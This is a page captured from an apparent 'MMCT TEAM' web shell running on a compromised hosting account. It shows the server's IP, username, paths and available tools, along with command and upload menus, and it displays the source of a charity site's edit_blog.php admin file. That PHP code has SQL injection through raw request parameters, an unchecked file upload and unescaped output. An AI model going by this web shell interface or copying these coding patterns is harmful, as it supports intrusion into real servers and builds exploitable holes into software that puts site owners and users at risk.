MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/harishtaraagriculturaltrust/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/harishtaraagriculturaltrust/admin/edit_blog.php
<?php
include 'config.php';

  $id = $_GET['id'];

  $sql = mysqli_query($conn, "SELECT * FROM `blog` WHERE id='$id'");

  $row = mysqli_fetch_array($sql);


 
  if(isset($_POST['update']))
  {

    $name = $_POST['name'];
    $dis = $_POST['dis'];
    $img =$_FILES['file'];
    $filename=$img['name'];
    $filepath=$img['tmp_name'];
    $fileerror=$img['error'];


  

    if(!$filename=="")
    {
            $destypath="upload/".$filename;
            move_uploaded_file($filepath, $destypath);
        $ab = "UPDATE `blog` SET  `name`='$name',`dis`='$dis',`image`='$destypath' WHERE id='$id'";
        $reb = mysqli_query($conn, $ab);
        if($reb==TRUE)
        {
            echo ("<script LANGUAGE='JavaScript'>
            window.alert('Succesfully Updated');
            window.location.href='cat.php';
            </script>");
        }
    } 
    else
    {
        $ab = "UPDATE `blog` SET  `name`='$name',`dis`='$dis' WHERE id='$id'";
        $reb = mysqli_query($conn, $ab);
        if($reb==TRUE)
        {
             echo ("<script LANGUAGE='JavaScript'>
            window.alert('Succesfully Updated');
            window.location.href='cat.php';
            </script>");
        }
    }  

  }
?>
<?php include 'comman/links.php'; ?>
     <!-- Layout wrapper -->
    <div class="layout-wrapper layout-content-navbar">
      <div class="layout-container">
        <!-- Menu -->
  <?php  include 'comman/sidebar.php'; ?>

        <!-- Layout container -->
        <div class="layout-page">
         <?php include 'comman/header.php';   ?>

          <!-- Content wrapper -->
          <div class="content-wrapper">
            <!-- Content -->

            <div class="container-xxl flex-grow-1 container-p-y">
              <h4 class="fw-bold py-3 mb-4"><span class="text-muted fw-light">Admin /</span>Edit Blog</h4>

              <div class="row">
                <div class="col-md-12">
                  <ul class="nav nav-pills flex-column flex-md-row mb-3">
                    <!-- <li class="nav-item">
                      <a class="nav-link active" href="javascript:void(0);"><i class="bx bx-user me-1"></i> Account</a>
                    </li> -->
                    <!-- <li class="nav-item">
                      <a class="nav-link" href="pages-account-settings-notifications.html"
                        ><i class="bx bx-bell me-1"></i> Notifications</a
                      >
                    </li> -->
                    <!-- <li class="nav-item">
                      <a class="nav-link" href="pages-account-settings-connections.html"
                        ><i class="bx bx-link-alt me-1"></i> Connections</a
                      >
                    </li> -->
                  </ul>
                  <div class="card mb-4">
                    <!-- <h5 class="card-header">Profile Details</h5> -->
                    <!-- Account -->
                    <!-- <div class="card-body">
                      <div class="d-flex align-items-start align-items-sm-center gap-4">
                         <div class="button-wrapper">
                          <label for="upload" class="btn btn-primary me-2 mb-4" tabindex="0">
                            <span class="d-none d-sm-block">Upload new photo</span>
                            <i class="bx bx-upload d-block d-sm-none"></i>
                            <input
                              type="file"
                              id="upload"
                              class="account-file-input"
                              hidden
                              accept="image/png, image/jpeg"
                            />
                          </label>
                          

                          <p class="text-muted mb-0">Allowed JPG, GIF or PNG. Max size of 800K</p>
                        </div>
                      </div>
                    </div> -->
                    <hr class="my-0" />
                    <div class="card-body">
                      <form method="POST"  enctype="multipart/form-data">
                        <div class="row">
                          <div class="mb-3 col-md-6">
                            <label for="firstName" class="form-label"> Name</label>
                            <input
                              class="form-control"
                              type="text"
                              id="firstName"
                              name="name"
                              value="<?php echo $row['name'] ?>"
                              autofocus
                            />
                            <input type="text" hidden name="cat" value="cat"> 
                          </div>
                          <div class="mb-3 col-md-6">
                            <label for="">Upload Image</label>
                            <input name="file" class="form-control" type="file" accept="image/*" onchange="loadFile(event)">
                                <p><img id="output" height="120" width="200" src="<?php echo $row['image'];   ?>"></p>
                                <script>
                                    var loadFile = function(event) {
                                        var image = document.getElementById('output');
                                        image.src=URL.createObjectURL(event.target.files[0]);
                                    };
                                </script>
                          </div>
                          <div class="row">
                          <div class="mb-3 col-md-12">
                            <label for="">Write Description</label>
                             
                           <textarea name="dis"  class="form-control">
                             <?php echo $row['dis'] ?>
                           </textarea>
                          </div>
                          <div class="mt-2">
                          <button type="submit" name="update" class="btn btn-primary me-2">Upload</button>
                           
                        </div>
                          </div>
                         
                      </form>
                    </div>
                    <!-- /Account -->
                  </div>
                  <hr>
                   
                </div>
              </div>
            </div>
            <!-- / Content -->
<?php include 'comman/footer.php'; ?>
<script>
  function dle(id)
  {
    swal({
  title: "Are You Want To Delete?",
//   text: "Are you want to delete!",
  icon: "warning",
  buttons: true,
  dangerMode: true,
})
.then((willDelete) => {
  if (willDelete) {
            window.location = "blog_dl.php?id="+id;
    swal("Poof! Your imaginary file has been deleted!", {
      icon: "success",
    });
  } else {
    swal("Your imaginary file is safe!");
  }
});
    
    
        
  }
</script>
<script>
	   $(document).ready(function(){
		   $('#cat').unbind().submit(function(e){
			   e.preventDefault();
			   var data=document.getElementById('cat');
				var formdata= new FormData(data);
  				$.ajax({
					   type: "POST",
					   url: "login_process.php",
					   data: formdata,
					   processData: false,
					   contentType: false,
					   cache: false,
					   success: function (data) 
					   {
						   if(data==1)
						   {
                swal({
  title: "Good job!",
  text: "You clicked the button!",
  icon: "success",
}).then(function() {
                                    window.location = "cat.php";
                                });
                                                
							 
						   }
						   else
						   {
								 alert(data);
						   }
					 
					   }
				   });
		   })
	   })
    </script>

MMCT - 2023